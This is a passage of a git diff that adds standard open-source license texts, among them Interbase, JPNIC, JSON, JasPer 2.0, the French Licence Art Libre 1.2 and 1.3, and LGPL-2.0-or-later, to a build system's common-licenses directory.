+The license can be modified used for code which is not already governed by this license. Modified versions of the license must be renamed to avoid confusion with Netscape?s or Interbase Software?s license and must include a description of changes from the Interbase Public License.
+The name of the license in Exhibit A is the "Interbase Public License".
+The reference to an alternative license in Exhibit A has been removed.
+Amendments I, II, III, V, and VI have been deleted.
+Exhibit A, Netscape Public License has been deleted
+A new amendment (II) has been added, describing the required and restricted rights to use the trademarks of Borland Software Corporation
+7. DISCLAIMER OF WARRANTY.
+
+COVERED CODE IS PROVIDED UNDER THIS LICENSE ON AN "AS IS'' BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE COVERED CODE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE COVERED CODE IS WITH YOU. SHOULD ANY COVERED CODE PROVE DEFECTIVE IN ANY RESPECT, YOU (NOT THE INITIAL DEVELOPER OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+8. TERMINATION.
+
+8.1. This License and the rights granted hereunder will terminate automatically if You fail to comply with terms herein and fail to cure such breach within 30 days of becoming aware of the breach. All sublicenses to the Covered Code which are properly granted shall survive any termination of this License. Provisions which, by their nature, must remain in effect beyond the termination of this License shall survive.
+
+8.2. If You initiate litigation by asserting a patent infringement claim (excluding declatory judgment actions) against Initial Developer or a Contributor (the Initial Developer or Contributor against whom You file such action is referred to as "Participant") alleging that:
+
+ (a) such Participant's Contributor Version directly or indirectly infringes any patent, then any and all rights granted by such Participant to You under Sections 2.1 and/or 2.2 of this License shall, upon 60 days notice from Participant terminate prospectively, unless if within 60 days after receipt of notice You either: (i) agree in writing to pay Participant a mutually agreeable reasonable royalty for Your past and future use of Modifications made by such Participant, or (ii) withdraw Your litigation claim with respect to the Contributor Version against such Participant. If within 60 days of notice, a reasonable royalty and payment arrangement are not mutually agreed upon in writing by the parties or the litigation claim is not withdrawn, the rights granted by Participant to You under Sections 2.1 and/or 2.2 automatically terminate at the expiration of the 60 day notice period specified above.
+
+ (b) any software, hardware, or device, other than such Participant's Contributor Version, directly or indirectly infringes any patent, then any rights granted to You by such Participant under Sections 2.1(b) and 2.2(b) are revoked effective as of the date You first made, used, sold, distributed, or had made, Modifications made by that Participant.
+
+8.3. If You assert a patent infringement claim against Participant alleging that such Participant's Contributor Version directly or indirectly infringes any patent where such claim is resolved (such as by license or settlement) prior to the initiation of patent infringement litigation, then the reasonable value of the licenses granted by such Participant under Sections 2.1 or 2.2 shall be taken into account in determining the amount or value of any payment or license.
+
+8.4. In the event of termination under Sections 8.1 or 8.2 above, all end user license agreements (excluding distributors and resellers) which have been validly granted by You or any distributor hereunder prior to termination shall survive termination.
+
+9. LIMITATION OF LIABILITY.
+
+UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL YOU, THE INITIAL DEVELOPER, ANY OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF COVERED CODE, OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+10. U.S. GOVERNMENT END USERS.
+
+The Covered Code is a ''commercial item,'' as that term is defined in 48 C.F.R. 2.101 (Oct. 1995), consisting of ''commercial computer software'' and ''commercial computer software documentation,'' as such terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995), all U.S. Government End Users acquire Covered Code with only those rights set forth herein.
+
+11. MISCELLANEOUS.
+
+This License represents the complete agreement concerning subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable. This License shall be governed by California law provisions (except to the extent applicable law, if any, provides otherwise), excluding its conflict-of-law provisions. With respect to disputes in which at least one party is a citizen of, or an entity chartered or registered to do business in the United States of America, any litigation relating to this License shall be subject to the jurisdiction of the Federal Courts of the Northern District of California, with venue lying in Santa Clara County, California, with the losing party responsible for costs, including without limitation, court costs and reasonable attorneys' fees and expenses. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any law or regulation which provides that the language of a contract shall be construed against the drafter shall not apply to this License.
+
+12. RESPONSIBILITY FOR CLAIMS.
+
+As between Initial Developer and the Contributors, each party is responsible for claims and damages arising, directly or indirectly, out of its utilization of rights under this License and You agree to work with Initial Developer and Contributors to distribute such responsibility on an equitable basis. Nothing herein is intended or shall be deemed to constitute any admission of liability.
+
+13. MULTIPLE-LICENSED CODE.
+
+Initial Developer may designate portions of the Covered Code as "Multiple-Licensed". "Multiple-Licensed" means that the Initial Developer permits you to utilize portions of the Covered Code under Your choice of the NPL or the alternative licenses, if any, specified by the Initial Developer in the file described in Exhibit A.
+
+EXHIBIT A - InterBase Public License.
+
+``The contents of this file are subject to the Interbase Public License Version 1.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.Interbase.com/IPL.html
+
+Software distributed under the License is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for the specific language governing rights and limitations under the License.
+
+The Original Code was created by InterBase Software Corp and its successors.
+
+Portions created by Borland/Inprise are Copyright (C) Borland/Inprise. All Rights Reserved.
+
+Contributor(s): ______________________________________.
+
+AMENDMENTS
+
+I. InterBase and logo. This License does not grant any rights to use the trademarks "Interbase'', "Java" or "JavaScript" even if such marks are included in the Original Code or Modifications.
+
+II. Trademark Usage.
+
+II.1. Advertising Materials. All advertising materials mentioning features or use of the covered Code must display the following acknowledgement: "This product includes software developed by Borland Software Corp. "
+
+II.2. Endorsements. The names "InterBase," "ISC," and "IB" must not be used to endorse or promote Contributor Versions or Larger Works without the prior written permission of Interbase.
+
+II.3. Product Names. Contributor Versions and Larger Works may not be called "InterBase" or "Interbase" nor may the word "InterBase" appear in their names without the prior written permission of Interbase.
diff --git a/meta/files/common-licenses/JPNIC b/meta/files/common-licenses/JPNIC
new file mode 100644
index 0000000000..6cc1d094c8
--- /dev/null
+++ b/meta/files/common-licenses/JPNIC
@@ -0,0 +1,40 @@
+Copyright (c) 2000-2002 Japan Network Information Center. All rights reserved.
+
+By using this file, you agree to the terms and conditions set forth bellow.
+
+ LICENSE TERMS AND CONDITIONS
+
+The following License Terms and Conditions apply, unless a different
+license is obtained from Japan Network Information Center ("JPNIC"),
+a Japanese association, Kokusai-Kougyou-Kanda Bldg 6F, 2-3-4 Uchi-Kanda,
+Chiyoda-ku, Tokyo 101-0047, Japan.
+
+1. Use, Modification and Redistribution (including distribution of any
+ modified or derived work) in source and/or binary forms is permitted
+ under this License Terms and Conditions.
+
+2. Redistribution of source code must retain the copyright notices as they
+ appear in each source code file, this License Terms and Conditions.
+
+3. Redistribution in binary form must reproduce the Copyright Notice,
+ this License Terms and Conditions, in the documentation and/or other
+ materials provided with the distribution. For the purposes of binary
+ distribution the "Copyright Notice" refers to the following language:
+ "Copyright (c) 2000-2002 Japan Network Information Center. All rights
+ reserved."
+
+4. The name of JPNIC may not be used to endorse or promote products
+ derived from this Software without specific prior written approval of
+ JPNIC.
+
+5. Disclaimer/Limitation of Liability: THIS SOFTWARE IS PROVIDED BY JPNIC
+ "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
+ PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL JPNIC BE LIABLE
+ FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
+ BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
+ WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
+ ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
diff --git a/meta/files/common-licenses/JSON b/meta/files/common-licenses/JSON
new file mode 100644
index 0000000000..e29500b0e2
--- /dev/null
+++ b/meta/files/common-licenses/JSON
@@ -0,0 +1,11 @@
+JSON License
+
+Copyright (c) 2002 JSON.org
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+The Software shall be used for Good, not Evil.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/meta/files/common-licenses/JasPer-2.0 b/meta/files/common-licenses/JasPer-2.0
new file mode 100644
index 0000000000..93d11287d4
--- /dev/null
+++ b/meta/files/common-licenses/JasPer-2.0
@@ -0,0 +1,17 @@
+JasPer License Version 2.0
+
+Copyright (c) 2001-2006 Michael David Adams
+Copyright (c) 1999-2000 Image Power, Inc.
+Copyright (c) 1999-2000 The University of British Columbia
+
+All rights reserved.
+
+Permission is hereby granted, free of charge, to any person (the "User") obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+1. The above copyright notices and this permission notice (which includes the disclaimer below) shall be included in all copies or substantial portions of the Software.
+
+2. The name of a copyright holder shall not be used to endorse or promote products derived from the Software without specific prior written permission.
+
+THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF THE SOFTWARE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER. THE SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS
+"AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO
+EVENT SHALL THE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. NO ASSURANCES ARE PROVIDED BY THE COPYRIGHT HOLDERS THAT THE SOFTWARE DOES NOT INFRINGE THE PATENT OR OTHER INTELLECTUAL PROPERTY RIGHTS OF ANY OTHER ENTITY. EACH COPYRIGHT HOLDER DISCLAIMS ANY LIABILITY TO THE USER FOR CLAIMS BROUGHT BY ANY OTHER ENTITY BASED ON INFRINGEMENT OF INTELLECTUAL PROPERTY RIGHTS OR OTHERWISE. AS A CONDITION TO EXERCISING THE RIGHTS GRANTED HEREUNDER, EACH USER HEREBY ASSUMES SOLE RESPONSIBILITY TO SECURE ANY OTHER INTELLECTUAL PROPERTY RIGHTS NEEDED, IF ANY. THE SOFTWARE IS NOT FAULT-TOLERANT AND IS NOT INTENDED FOR USE IN MISSION-CRITICAL SYSTEMS, SUCH AS THOSE USED IN THE OPERATION OF NUCLEAR FACILITIES, AIRCRAFT NAVIGATION OR COMMUNICATION SYSTEMS, AIR TRAFFIC CONTROL SYSTEMS, DIRECT LIFE SUPPORT MACHINES, OR WEAPONS SYSTEMS, IN WHICH THE FAILURE OF THE SOFTWARE OR SYSTEM COULD LEAD DIRECTLY TO DEATH, PERSONAL INJURY, OR SEVERE PHYSICAL OR ENVIRONMENTAL DAMAGE ("HIGH RISK ACTIVITIES"). THE COPYRIGHT HOLDERS SPECIFICALLY DISCLAIM ANY EXPRESS OR IMPLIED WARRANTY OF FITNESS FOR HIGH RISK ACTIVITIES.
diff --git a/meta/files/common-licenses/LAL-1.2 b/meta/files/common-licenses/LAL-1.2
new file mode 100644
index 0000000000..b8907ab6ff
--- /dev/null
+++ b/meta/files/common-licenses/LAL-1.2
@@ -0,0 +1,67 @@
+Licence Art Libre
+[ Copyleft Attitude ]
+
+Version 1.2
+
+Préambule :
+
+Avec cette Licence Art Libre, l’autorisation est donnée de copier, de diffuser et de transformer librement les oeuvres dans le respect des droits de l’auteur.
+
+Loin d’ignorer les droits de l’auteur, cette licence les reconnaît et les protège. Elle en reformule le principe en permettant au public de faire un usage créatif des oeuvres d’art.
+Alors que l’usage fait du droit de la propriété littéraire et artistique conduit à restreindre l’accès du public à l’oeuvre, la Licence Art Libre a pour but de le favoriser.
+L’intention est d’ouvrir l’accès et d’autoriser l’utilisation des ressources d’une oeuvre par le plus grand nombre. En avoir jouissance pour en multiplier les réjouissances, créer de nouvelles conditions de création pour amplifier les possibilités de création. Dans le respect des auteurs avec la reconnaissance et la défense de leur droit moral.
+
+En effet, avec la venue du numérique, l’invention de l’internet et des logiciels libres, un nouveau mode de création et de production est apparu. Il est aussi l’amplification de ce qui a été expérimenté par nombre d’artistes contemporains.
+Le savoir et la création sont des ressources qui doivent demeurer libres pour être encore véritablement du savoir et de la création. C’est à dire rester une recherche fondamentale qui ne soit pas directement liée à une application concrète. Créer c’est découvrir l’inconnu, c’est inventer le réel avant tout souci de réalisme.
+Ainsi, l’objet de l’art n’est pas confondu avec l’objet d’art fini et défini comme tel. C’est la raison essentielle de cette Licence Art Libre : promouvoir et protéger des pratiques artistiques libérées des seules règles de l’économie de marché.
+
+DÉFINITIONS
+
+– L’oeuvre :il s’agit d’une oeuvre commune qui comprend l’oeuvre originelle ainsi que toutes les contributions postérieures (les originaux conséquents et les copies). Elle est créée à l’initiative de l’auteur originel qui par cette licence définit les conditions selon lesquelles les contributions sont faites.
+
+– L’oeuvre originelle :c’est-à-dire l’oeuvre créée par l’initiateur de l’oeuvre commune dont les copies vont être modifiées par qui le souhaite.
+
+– Les oeuvres conséquentes :c’est-à-dire les propositions des auteurs qui contribuent à la formation de l’oeuvre en faisant usage des droits de reproduction, de diffusion et de modification que leur confère la licence.
+
+– Original (source ou ressource de l’oeuvre) :exemplaire daté de l’oeuvre, de sa définition, de sa partition ou de son programme que l’auteur présente comme référence pour toutes actualisations, interprétations, copies ou reproductions ultérieures.
+
+– Copie :toute reproduction d’un original au sens de cette licence.
+
+– Auteur de l’oeuvre originelle :c’est la personne qui a créé l’oeuvre à l’origine d’une arborescence de cette oeuvre modifiée. Par cette licence, l’auteur détermine les conditions dans lesquelles ce travail se fait.
+
+– Contributeur :toute personne qui contribue à la création de l’oeuvre. Il est l’auteur d’une oeuvre originale résultant de la modification d’une copie de l’oeuvre originelle ou de la modification d’une copie d’une oeuvre conséquente.
+
+1. OBJET
+Cette licence a pour objet de définir les conditions selon lesquelles vous pouvez jouir librement de cette oeuvre.
+
+2. L’ÉTENDUE DE LA JOUISSANCE
+Cette oeuvre est soumise au droit d’auteur, et l’auteur par cette licence vous indique quelles sont vos libertés pour la copier, la diffuser et la modifier:
+
+2.1 LA LIBERTÉ DE COPIER (OU DE REPRODUCTION)
+Vous avez la liberté de copier cette oeuvre pour un usage personnel, pour vos amis, ou toute autre personne et quelque soit la technique employée.
+
+2.2 LA LIBERTÉ DE DIFFUSER, D’INTERPRÉTER (OU DE REPRÉSENTATION)
+Vous pouvez diffuser librement les copies de ces oeuvres, modifiées ou non, quel que soit le support, quel que soit le lieu, à titre onéreux ou gratuit si vous respectez toutes les conditions suivantes:
+ – joindre aux copies, cette licence à l’identique, ou indiquer précisément où se trouve la licence, – indiquer au destinataire le nom de l’auteur des originaux, – indiquer au destinataire où il pourra avoir accès aux originaux (originels et/ou conséquents). L’auteur de l’original pourra, s’il le souhaite, vous autoriser à diffuser l’original dans les mêmes conditions que les copies.
+
+2.3 LA LIBERTÉ DE MODIFIER
+Vous avez la liberté de modifier les copies des originaux (originels et conséquents), qui peuvent être partielles ou non, dans le respect des conditions prévues à l’article 2.2 en cas de diffusion (ou représentation) de la copie modifiée. L’auteur de l’original pourra, s’il le souhaite, vous autoriser à modifier l’original dans les mêmes conditions que les copies.
+
+3. L’INCORPORATION DE L’OEUVRE
+Tous les éléments de cette oeuvre doivent demeurer libres, c’est pourquoi il ne vous est pas permis d’intégrer les originaux (originels et conséquents) dans une autre oeuvre qui ne serait pas soumise à cette licence.
+
+4. VOS DROITS D’AUTEUR
+Cette licence n’a pas pour objet de nier vos droits d’auteur sur votre contribution. En choisissant de contribuer à l’évolution de cette oeuvre, vous acceptez seulement d’offrir aux autres les mêmes droits sur votre contribution que ceux qui vous ont été accordés par cette licence.
+
+5. LA DURÉE DE LA LICENCE
+Cette licence prend effet dès votre acceptation de ses dispositions. Le fait de copier, de diffuser, ou de modifier l’oeuvre constitue une acception tacite. Cette licence a pour durée la durée des droits d’auteur attachés à l’oeuvre. Si vous ne respectez pas les termes de cette licence, vous perdez automatiquement les droits qu’elle vous confère. Si le régime juridique auquel vous êtes soumis ne vous permet pas de respecter les termes de cette licence, vous ne pouvez pas vous prévaloir des libertés qu’elle confère.
+
+6. LES DIFFÉRENTES VERSIONS DE LA LICENCE
+Cette licence pourra être modifiée régulièrement, en vue de son amélioration, par ses auteurs (les acteurs du mouvement « copyleft attitude ») sous la forme de nouvelles versions numérotées.
+Vous avez toujours le choix entre vous contenter des dispositions contenues dans la version sous laquelle la copie vous a été communiquée ou alors, vous prévaloir des dispositions d’une des versions ultérieures.
+
+7. LES SOUS-LICENCES
+Les sous licences ne sont pas autorisées par la présente. Toute personne qui souhaite bénéficier des libertés qu’elle confère sera liée directement à l’auteur de l’oeuvre originelle.
+
+8. LA LOI APPLICABLE AU CONTRAT
+Cette licence est soumise au droit français.
diff --git a/meta/files/common-licenses/LAL-1.3 b/meta/files/common-licenses/LAL-1.3
new file mode 100644
index 0000000000..ca1a447346
--- /dev/null
+++ b/meta/files/common-licenses/LAL-1.3
@@ -0,0 +1,88 @@
+Licence Art Libre 1.3 (LAL 1.3)
+
+Préambule :
+
+Avec la Licence Art Libre, l’autorisation est donnée de copier, de diffuser et de transformer librement les œuvres dans le respect des droits de l’auteur.
+
+Loin d’ignorer ces droits, la Licence Art Libre les reconnaît et les protège. Elle en reformule l’exercice en permettant à tout un chacun de faire un usage créatif des productions de l’esprit quels que soient leur genre et leur forme d’expression.
+
+Si, en règle générale, l’application du droit d’auteur conduit à restreindre l’accès aux œuvres de l’esprit, la Licence Art Libre, au contraire, le favorise. L’intention est d’autoriser l’utilisation des ressources d’une œuvre ; créer de nouvelles conditions de création pour amplifier les possibilités de création. La Licence Art Libre permet d’avoir jouissance des œuvres tout en reconnaissant les droits et les responsabilités de chacun.
+
+Avec le développement du numérique, l’invention d’internet et des logiciels libres, les modalités de création ont évolué : les productions de l’esprit s’offrent naturellement à la circulation, à l’échange et aux transformations. Elles se prêtent favorablement à la réalisation d’œuvres communes que chacun peut augmenter pour l’avantage de tous.
+
+C’est la raison essentielle de la Licence Art Libre : promouvoir et protéger ces productions de l’esprit selon les principes du copyleft : liberté d’usage, de copie, de diffusion, de transformation et interdiction d’appropriation exclusive.
+
+Définitions :
+
+Nous désignons par « œuvre », autant l’œuvre initiale, les œuvres conséquentes, que l’œuvre commune telles que définies ci-après :
+
+L’œuvre commune :Il s’agit d’une œuvre qui comprend l’œuvre initiale ainsi que toutes les contributions postérieures (les originaux conséquents et les copies). Elle est créée à l’initiative de l’auteur initial qui par cette licence définit les conditions selon lesquelles les contributions sont faites.
+
+L’œuvre initiale :C’est-à-dire l’œuvre créée par l’initiateur de l’œuvre commune dont les copies vont être modifiées par qui le souhaite.
+
+Les œuvres conséquentes :C’est-à-dire les contributions des auteurs qui participent à la formation de l’œuvre commune en faisant usage des droits de reproduction, de diffusion et de modification que leur confère la licence.
+
+Originaux (sources ou ressources de l’œuvre) :Chaque exemplaire daté de l’œuvre initiale ou conséquente que leurs auteurs présentent comme référence pour toutes actualisations, interprétations, copies ou reproductions ultérieures.
+
+Copie :Toute reproduction d’un original au sens de cette licence.
+
+1- OBJET.
+Cette licence a pour objet de définir les conditions selon lesquelles vous pouvez jouir librement de l’œuvre.
+
+2. L’ÉTENDUE DE LA JOUISSANCE.
+Cette œuvre est soumise au droit d’auteur, et l’auteur par cette licence vous indique quelles sont vos libertés pour la copier, la diffuser et la modifier.
+
+2.1 LA LIBERTÉ DE COPIER (OU DE REPRODUCTION).
+Vous avez la liberté de copier cette œuvre pour vous, vos amis ou toute autre personne, quelle que soit la technique employée.
+
+2.2 LA LIBERTÉ DE DIFFUSER (INTERPRÉTER, REPRÉSENTER, DISTRIBUER).
+Vous pouvez diffuser librement les copies de ces œuvres, modifiées ou non, quel que soit le support, quel que soit le lieu, à titre onéreux ou gratuit, si vous respectez toutes les conditions suivantes :
+
+ 1. joindre aux copies cette licence à l’identique ou indiquer précisément où se trouve la licence ;
+ 2. indiquer au destinataire le nom de chaque auteur des originaux, y compris le vôtre si vous avez modifié l’œuvre ;
+ 3. indiquer au destinataire où il pourrait avoir accès aux originaux (initiaux et/ou conséquents).
+
+Les auteurs des originaux pourront, s’ils le souhaitent, vous autoriser à diffuser l’original dans les mêmes conditions que les copies.
+
+2.3 LA LIBERTÉ DE MODIFIER.
+Vous avez la liberté de modifier les copies des originaux (initiaux et conséquents) dans le respect des conditions suivantes :
+
+ 1. celles prévues à l’article 2.2 en cas de diffusion de la copie modifiée ;
+ 2. indiquer qu’il s’agit d’une œuvre modifiée et, si possible, la nature de la modification ;
+ 3. diffuser cette œuvre conséquente avec la même licence ou avec toute licence compatible ;
+ 4. Les auteurs des originaux pourront, s’ils le souhaitent, vous autoriser à modifier l’original dans les mêmes conditions que les copies.
+
+3. DROITS CONNEXES.
+Les actes donnant lieu à des droits d’auteur ou des droits voisins ne doivent pas constituer un obstacle aux libertés conférées par cette licence. C’est pourquoi, par exemple, les interprétations doivent être soumises à la même licence ou une licence compatible. De même, l’intégration de l’œuvre à une base de données, une compilation ou une anthologie ne doit pas faire obstacle à la jouissance de l’œuvre telle que définie par cette licence.
+
+4. L’ INTÉGRATION DE L’ŒUVRE.
+Toute intégration de cette œuvre à un ensemble non soumis à la LAL doit assurer l’exercice des libertés conférées par cette licence.
+Si l’œuvre n’est plus accessible indépendamment de l’ensemble, alors l’intégration n’est possible qu’à condition que l’ensemble soit soumis à la LAL ou une licence compatible.
+
+5. CRITÈRES DE COMPATIBILITÉ.
+Une licence est compatible avec la LAL si et seulement si :
+
+ 1. elle accorde l’autorisation de copier, diffuser et modifier des copies de l’œuvre, y compris à des fins lucratives, et sans autres restrictions que celles qu’impose le respect des autres critères de compatibilité ;
+ 2. elle garantit la paternité de l’œuvre et l’accès aux versions antérieures de l’œuvre quand cet accès est possible ;
+ 3. elle reconnaît la LAL également compatible (réciprocité) ;
+ 4. elle impose que les modifications faites sur l’œuvre soient soumises à la même licence ou encore à une licence répondant aux critères de compatibilité posés par la LAL.
+
+6. VOS DROITS INTELLECTUELS.
+La LAL n’a pas pour objet de nier vos droits d’auteur sur votre contribution ni vos droits connexes. En choisissant de contribuer à l’évolution de cette œuvre commune, vous acceptez seulement d’offrir aux autres les mêmes autorisations sur votre contribution que celles qui vous ont été accordées par cette licence. Ces autorisations n’entraînent pas un dessaisissement de vos droits intellectuels.
+
+7. VOS RESPONSABILITÉS.
+La liberté de jouir de l’œuvre tel que permis par la LAL (liberté de copier, diffuser, modifier) implique pour chacun la responsabilité de ses propres faits.
+
+8. LA DURÉE DE LA LICENCE.
+Cette licence prend effet dès votre acceptation de ses dispositions. Le fait de copier, de diffuser, ou de modifier l’œuvre constitue une acceptation tacite.
+Cette licence a pour durée la durée des droits d’auteur attachés à l’œuvre. Si vous ne respectez pas les termes de cette licence, vous perdez automatiquement les droits qu’elle vous confère. Si le régime juridique auquel vous êtes soumis ne vous permet pas de respecter les termes de cette licence, vous ne pouvez pas vous prévaloir des libertés qu’elle confère.
+
+9. LES DIFFÉRENTES VERSIONS DE LA LICENCE.
+Cette licence pourra être modifiée régulièrement, en vue de son amélioration, par ses auteurs (les acteurs du mouvement Copyleft Attitude) sous la forme de nouvelles versions numérotées.
+Vous avez toujours le choix entre vous contenter des dispositions contenues dans la version de la LAL sous laquelle la copie vous a été communiquée ou alors, vous prévaloir des dispositions d’une des versions ultérieures.
+
+10. LES SOUS-LICENCES.
+Les sous-licences ne sont pas autorisées par la présente. Toute personne qui souhaite bénéficier des libertés qu’elle confère sera liée directement aux auteurs de l’œuvre commune.
+
+11. LE CONTEXTE JURIDIQUE.
+Cette licence est rédigée en référence au droit français et à la Convention de Berne relative au droit d’auteur.
diff --git a/meta/files/common-licenses/LGPL-2.0 b/meta/files/common-licenses/LGPL-2.0-only
index 5931d439b4..5931d439b4 100644
--- a/meta/files/common-licenses/LGPL-2.0
+++ b/meta/files/common-licenses/LGPL-2.0-only
diff --git a/meta/files/common-licenses/LGPL-2.0-or-later b/meta/files/common-licenses/LGPL-2.0-or-later
new file mode 100644
index 0000000000..5c96471aaf
--- /dev/null
+++ b/meta/files/common-licenses/LGPL-2.0-or-later
@@ -0,0 +1,446 @@
+GNU LIBRARY GENERAL PUBLIC LICENSE
+
+Version 2, June 1991 Copyright (C) 1991 Free Software Foundation, Inc.
+
+51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license
+document, but changing it is not allowed.
+
+[This is the first released version of the library GPL. It is numbered 2 because
+it goes with version 2 of the ordinary GPL.]
+
+Preamble
+
+The licenses for most software are designed to take away your freedom to share
+and change it. By contrast, the GNU General Public Licenses are intended to
+guarantee your freedom to share and change free software--to make sure the
+software is free for all its users.
+
+This license, the Library General Public License, applies to some specially
+designated Free Software Foundation software, and to any other libraries whose
+authors decide to use it. You can use it for your libraries, too.
+
+When we speak of free software, we are referring to freedom, not price. Our
+General Public Licenses are designed to make sure that you have the freedom
+to distribute copies of free software (and charge for this service if you
+wish), that you receive source code or can get it if you want it, that you
+can change the software or use pieces of it in new free programs; and that
+you know you can do these things.
+
+To protect your rights, we need to make restrictions that forbid anyone to
+deny you these rights or to ask you to surrender the rights. These restrictions
+translate to certain responsibilities for you if you distribute copies of
+the library, or if you modify it.
+
+For example, if you distribute copies of the library, whether gratis or for
+a fee, you must give the recipients all the rights that we gave you. You must
+make sure that they, too, receive or can get the source code. If you link
+a program with the library, you must provide complete object files to the
+recipients so that they can relink them with the library, after making changes
+to the library and recompiling it. And you must show them these terms so they
+know their rights.
+
+Our method of protecting your rights has two steps: (1) copyright the library,
+and (2) offer you this license which gives you legal permission to copy, distribute
+and/or modify the library.
+
+Also, for each distributor's protection, we want to make certain that everyone
+understands that there is no warranty for this free library. If the library
+is modified by someone else and passed on, we want its recipients to know
+that what they have is not the original version, so that any problems introduced
+by others will not reflect on the original authors' reputations.
+
+Finally, any free program is threatened constantly by software patents. We
+wish to avoid the danger that companies distributing free software will individually
+obtain patent licenses, thus in effect transforming the program into proprietary
+software. To prevent this, we have made it clear that any patent must be licensed
+for everyone's free use or not licensed at all.
+
+Most GNU software, including some libraries, is covered by the ordinary GNU
+General Public License, which was designed for utility programs. This license,
+the GNU Library General Public License, applies to certain designated libraries.
+This license is quite different from the ordinary one; be sure to read it
+in full, and don't assume that anything in it is the same as in the ordinary
+license.
+
+The reason we have a separate public license for some libraries is that they
+blur the distinction we usually make between modifying or adding to a program
+and simply using it. Linking a program with a library, without changing the
+library, is in some sense simply using the library, and is analogous to running
+a utility program or application program. However, in a textual and legal
+sense, the linked executable is a combined work, a derivative of the original
+library, and the ordinary General Public License treats it as such.
+
+Because of this blurred distinction, using the ordinary General Public License
